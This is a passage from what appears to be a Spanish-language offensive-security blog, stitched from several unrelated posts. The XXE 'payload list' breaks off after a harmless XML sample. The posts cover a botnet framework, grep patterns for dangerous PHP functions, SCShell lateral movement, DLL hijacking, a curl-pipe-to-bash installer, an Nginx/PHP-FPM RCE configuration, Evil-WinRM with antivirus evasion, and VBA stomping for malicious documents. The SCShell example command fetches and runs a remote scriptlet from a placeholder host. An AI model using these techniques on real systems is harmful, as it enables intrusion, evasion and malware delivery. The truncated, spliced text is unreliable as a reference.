Lista de payloads para inyecciones XXE (XML External Entity)

A estas alturas ya todos sabéis que XML external entity injection (también conocido como XXE) es una vulnerabilidad web que permite que un atacante interfiera en el procesamiento de datos XML de una aplicación. Puede permitir ver archivos del sistema o del servidor de aplicaciones e interactuar con cualquier sistema externo al que pueda acceder la propia aplicación. En algunas situaciones, podemos usar un ataque XXE para comprometer el servidor subyacente u otra infraestructura de back-end, al aprovecharlo para realizar ataques SSRF (server-side request forgery).

Hay varios tipos de ataques XXE:

• Explotar XXE para recuperar archivos: Cuando se define una entidad externa que contiene el contenido de un archivo y se devuelve en la respuesta de la aplicación.
• Explotar XXE para realizar ataques SSRF: donde se define una entidad externa basada en una URL o un sistema de backend.
• Explotar Blind XXE para exfiltrar datos Out-of-Band: Cuando datos sensibles se transmiten desde el servidor de aplicaciones a un sistema que controla el atacante.
• Explotación de XXE ciego para recuperar datos mediante mensajes de error: donde el atacante puede usar un mensaje de error para obtener datos confidenciales.

Payloads:

XXE: Ejemplo básico XML

<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>John</firstName>
 <lastName>Doe</lastName>
</userInfo>

Syndicate Project: ¿Me compartes tu Botnet? - Parte #1

Fuente: onodo.org/visualizations/98748/

Syndicate es un Framework totalmente escrito en Python (3) para crear Botnets, y no es sólo para crear una botnet es para crear cientos o miles...

Plataformas:

• De momento sólo se ha probado en Kali linux, pero se puede experimentar en otras plataformas.
• Se recomienda si se va a probar Syndicate en Windows, usar Cygwin o WSL, aunque nos garantiza nada.
• En Android técnicamente debería funcionar con Userland, aunque Tmux no es mala elección.

Instalación:

Primero clonamos el repositorio:

git clone https://github.com/DtxdF/Syndicate
cd Syndicate

Y luego instalamos los requisitos:

Se puede optar por una instalación fácil con PIP, pero hay algunos inconvenientes que dependen de uno mismo.

En primer lugar, lo que si es necesario ejecutar es requirements/requirements.txt:

python3 -m pip install -r requirements/requirements.txt

En el archivo podemos encontrar:

PySocks==1.7.1
pycryptodome==3.9.4
PyYAML==5.1.2
pager==3.3
requests==2.22.0
urllib3==1.25.7
certifi==2019.9.11
chardet==3.0.4
idna==2.8
pyperclip==1.7.0

Estos son los requisitos para que funcione lo principal de Syndicate, mientras que para los complementos se tendrían que seguir los siguientes pasos, no obstante no es necesario instalar para las funcionalidades anteriormente mencionadas, esto sirve para aumentar las funcionalidades...

python3 -m pip install -r requirements/requirements.complements.txt

Buscando vulnerabilidades en PHP con (un simple) grep

Ya sabemos que usar grep para encontrar vulnerabilidades en el código PHP de una aplicación web puede parecer tosco pero a veces es sumamente efectivo. Digamos que probablemente es la forma más rápida de encontrar patrones de vulnerabilidades conocidas. Por ejemplo, se puede usar grep para buscar llamadas a la función system:

$ grep -R 'system \ (\ $ _' *

Si bien este enfoque tiene muchas limitaciones:

- No se obtiene mucha cobertura/garantía sobre la calidad (y, por lo tanto, la seguridad) del código fuente. Solo se sabe que, según una lista de patrones, no se pudo encontrar ningún problema.
- Se debe conocer todas las funciones/patrones peligrosos.
- Terminas usando expresiones regulares muy complejas.

Sin embargo y como decimos, esto funciona bastante bien para las revisiones donde no tenemos suficiente tiempo. Así que si este es tu caso, en este post recopilamos un pequeño cheatsheet para probar a mano:

CHEATSHEET - ANÁLISIS MANUAL

XSS:

grep -Ri "echo" .
grep -Ri "\$_" . | grep "echo"
grep -Ri "\$_GET" . | grep "echo"
grep -Ri "\$_POST" . | grep "echo"
grep -Ri "\$_REQUEST" . | grep "echo"

Command execution:

grep -Ri "shell_exec(" .
grep -Ri "system(" .
grep -Ri "exec(" .
grep -Ri "popen(" .
grep -Ri "passthru(" .
grep -Ri "proc_open(" .
grep -Ri "pcntl_exec(" .

Code execution:

grep -Ri "eval(" .
grep -Ri "assert(" .
grep -Ri "preg_replace" . | grep "/e"
grep -Ri "create_function(" .

SQL Injection:

grep -Ri "\$sql" .
grep -Ri "\$sql" . | grep "\$_"

Taller para escalar privilegios en Windows/Linux

Sagi Shahar es un ingeniero de Google que desde hace algunos años lleva impartiendo un taller para escalado de privilegios de forma gratuita en varios eventos públicos y privados en Australia:

•      Sydney - PlatypusCon (2017)
•      Perth - BsidesPerth (2017)
•      Brisbane - CrikeyCon (2018)

El taller se basa en el árbol de ataque o mindmap que se muestra a continuación, que cubre todos los vectores de ataque conocidos (en ese momento) de escalada de privilegios de usuario local en los sistemas operativos Linux y Windows:

Y lo bueno y por lo que os escribimos esta entrada, es porque además Sagi ha creado un repo en Github con todo el material necesario para que podamos montarlo y seguirlo en nuestras propias casas:

https://github.com/sagishahar/lpeworkshop

SCShell: movimientos laterales a través del service manager

El gran Mr.Un1k0d3r de RingZer0 Team ha creado una herramienta que nos ayudará a movernos lateralmente usando el service manager sin registrar o crear ningún servicio ni escribir en disco.

La magia se basa en ChangeServiceConfigA, una función que usa los servicios de configuración de programa de Windows para cambiar los parámetros de los servicios instalados. En lugar de crear un servicio, simplemente abre uno de forma remota y modifica el nombre de la ruta del binario a través de la API ChangeServiceConfigA. Luego inicia el servicio y, una vez se ha completado la ejecución, se vuelve a poner la ruta original del binario. (La ruta original del servicio es extraída usando QueryServiceConfigA).

Lo bueno también es que la autenticación no se realiza contra SMB, todo se realiza a través de DCERPC.

Actualmente la herramienta está hecha en C, aunque planean migrarla a C# y Powershell.

Uso:

SCShell.exe target service payload username domain password

En target podemos poner local si queremos ejecutar el payload de forma local. Por otro lado, un ejemplo de ejecución remota sería:

SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" administrator . Password

Se recomienda usar C:\windows\system32\cmd.exe /c para asegurarse de que el payload no se eliminará una vez que se detenga el servicio. Eso sí, necesitaremos usar la ruta completa.

También podemos usar un payload de msbuild:

SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" administrator . Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.

El proyecto lo tenéis en https://github.com/Mr-Un1k0d3r/SCShell, donde encontraréis el ejecutable y el código fuente para compilarlo vosotros mismos con GCC Mingw.

Una (u otra) breve introducción al DLL hijacking

Una técnica muy común durante la post-explotación, tanto como para escalado de privilegios como para persistencia, es el DLL hijacking, que no es más que "dar el cambiazo" de una DLL que una aplicación o servicio del sistema intenta cargar en un directorio en el que tenemos permisos de escritura. De esta manera pondremos nuestra DLL maliciosa para que, en el momento que intente cargarse, ejecute nuestro payload con los permisos correspondientes al servicio o aplicación.

Recordemos que la forma en que Windows carga las DLL es buscar en los siguientes directorios en este orden:

- El directorio desde el cual se cargó la aplicación
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- El directorio de trabajo actual
- Directorios en la variable de entorno PATH del sistema
- Directorios en la variable de entorno PATH del usuario

Como podéis imaginar, si en algún momento un programa llama a una DLL que ya no existe en el primer directorio intentará buscar en el siguiente y así sucesivamente en ese orden: de esa manera podremos secuestrar la carga plantando una DLL en alguno de esos directorios para que pueda encontrarla.

Podremos identificar programas potencialmente vulnerables a DLL hijacking con Autoruns y ProcMon de Sysinternals, básicamente con este último buscando cualquier operación QueryOpen que resulte en NAME_NOT_FOUND:

También os recomiendo echar un vistazo a la herramienta Robber que hace un tiempo ya vimos en el blog.

ReconPi: convierte tu Raspberry Pi en una herramienta de reconocimiento de dominios

ReconPi es una herramienta de reconocimiento bastante liviana que realiza un extenso escaneo de dominios con las últimas herramientas utilizando una Raspberry Pi, Golang y Docker.

Después de que se haya ejecutado el script install.sh, ReconPi solo requiere una conexión a Internet y ya podremos empezar a utilizarla.

Requisitos

•     Raspberry Pi 3+ + cables (alimentación y  Ethernet)
•     SD card, 8 GB mínimo (16 GB recomendados)
•     Imagen Hypriot (versión 1.10.0)
•     Etcher
•     Teclado + monitor (opcional)

Instalación

Conectar a la Raspberry Pi:

ssh pirate@black-pearl.local

Obtener install.sh y ejecutarlo:

curl -L https://raw.githubusercontent.com/x1mdev/ReconPi/master/install.sh | bash

Password: hypriot

Uso

Después de instalar todas las dependencias para ReconPi, ¡finalmente podemos comenzar a hacer algún escaneo!

$ recon <dominio.tld>

recon.sh primero recopilará todas las resoluciones para el objetivo dado, seguido de la enumeración de subdominios y verificará esos activos para una posible adquisición de subdominios. Cuando se hace esto, se enumeran las direcciones IP del destino. Los puertos abiertos se descubrirán acompañados de un escaneo de servicio proporcionado por Nmap.

Finalmente, los objetivos online serán capturados y evaluados para descubrir endpoints.

Los resultados se almacenarán en el Recon Pi y se pueden ver ejecutando 'python -m SimpleHTTPServer 1337' en el directorio de resultados. Los resultados serán accesibles desde cualquier sistema con un navegador que exista en la misma red.

Herramientas

Herramientas que se están utilizando en este momento:

• HypriotOS
• GO
• Subfinder (ahora en Go nativo)
• aquatone
• httprobe
• assetfinder
• meg
• gobuster
• Amass
• MassDNS
• masscan
• nmap
• CORScanner
• sublert
• bass
• LinkFinder

Proyecto

El proyecto está disponible en https://github.com/x1mdev/ReconPi

Descubren en un CTF un RCE en Nginx + PHP-FPM

Del 14 al 16 de septiembre se jugaba el Real World CTF y, durante el mismo, Andrew Danau se dió cuenta de un comportamiento extraño con un script en PHP. En uno de los retos hCorem, cuando enviaba %0a (newline o nueva línea) en la URL el servidor devolvía más datos de la cuenta. Normalmente ese tipo de respuesta está relacionado con ataques de corrupción de memoria. Sin embargo y aunque Andrew y sus compañeros no consiguieron resolver el reto, siguieron investigado y se dieron cuenta que es posible conseguir ejecución remota de código con una configuración específica de Nginx y php con fpm (FastCGI Process Manager).

Concretamente es posible gracias a la directiva fastcgi_split_path y algunos regex de nuevas líneas. Debido al carácter %0a, Nginx establece un valor vacío para esta variable, y fastcgi + PHP simplemente no lo espera. El fichero de configuración sería como este:

location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

- location ~ [^/]\.php(/|$) debe enviarse a php-fpm.
- La directiva fastcgi_split_path_info debe estar y contener una expresión regular que comience con ^ y termine con $, para que se pueda dividir con un carácter de nueva línea.
- Debe haber una asignación de variable PATH_INFO a través de la declaración fastcgi_param PATH_INFO $fastcgi_path_info;.
- No se debe comprobar la existencia de archivos como try_files $uri =404 o if (-f $uri). Si Nginx descarta solicitudes a scripts no existentes antes del reenvío FastCGI, la solicitudes nunca llegan a php-fpm.

Evil-WinRM: shell que usa WinRM para hacking/pentesting

Uno de los proyectos más interesantes que tenemos en el Github de Hackplayers es el de Evil-WinRM, que Luis, Oscar y Jari acaban de actualizar con una nueva release que implementa pass-the-hash.

Si alguno no conocía la herramienta, decir que Evil-WinRM es una shell que usa WinRM con características muy interesantes para ayudarnos en la post-explotación:

• Historial de comandos      
• Autocompletado de comandos y ficheros locales
• Subida y descarga de archivos
• Listar servicios de máquinas remotas
• Cargar scripts de Powershell
• Cargar en memoria dlls evadiendo algunos AV
• Cargar en memoria C# compilados/exe's evadiendo algunos AV
• Cargar payloads x64 generados con la técnica de donut
• Mensajes de salida en color (se puede deshabilitar opcionalmente)
• SSL y soporte de certificados
• Soporte para pass-the-hash

VBA Stomping: técnicas avanzadas de maldoc

Hoy vamos a ver una técnica llamada VBA stomping para generar documentos maliciosos (maldoc) original de Vesselin Bontchev. Básicamente consiste en quitar o modificar el código fuente de un documento de Microsoft Office dejando sólo una versión compilada de las macros llamada p-code. De esta manera, un atacante podrá bypassear la detección de maldocs basada en el análisis del código fuente.

Primero, demostraremos la técnica con una macro simple y no maliciosa. Por ejemplo, con una simple macro que mostrará el texto "ABC" cuando se abre el documento:

A continuación lo que intentaremos es modificar ese código fuente sin cambiar el p-code. En Office 2007 o superior el código fuente de VBA y el p-code generalmente se encuentran en un archivo llamado vbaProject.bin. Para modificar este archivo manualmente, primero debemos descomprimir el archivo comprimido .docm/.xlsm y luego abrir el archivo vbaProject.bin en un editor hexadecimal. En este ejemplo, cambiaremos "ABC" por "XYZ", pero solo dentro de la ubicación donde está el código fuente VBA, no en la sección del p-code.

Ahora que hemos editado manualmente el código fuente VBA para cambiar "ABC" por "XYZ", abriremos el documento e inspeccionaremos el código fuente VBA ANTES de hacer clic en el botón "Habilitar contenido".

El documento se ha abierto pero las macros no están habilitadas. En el editor de código veremos que se debería mostrar un cuadro de mensaje con el texto "XYZ"... pero este no será el caso. De hecho, tan pronto como se habilite el contenido se mostrará un cuadro de mensaje con "ABC" y el código fuente en el editor de código se actualizará para que coincida.

Bastante engañoso, verdad?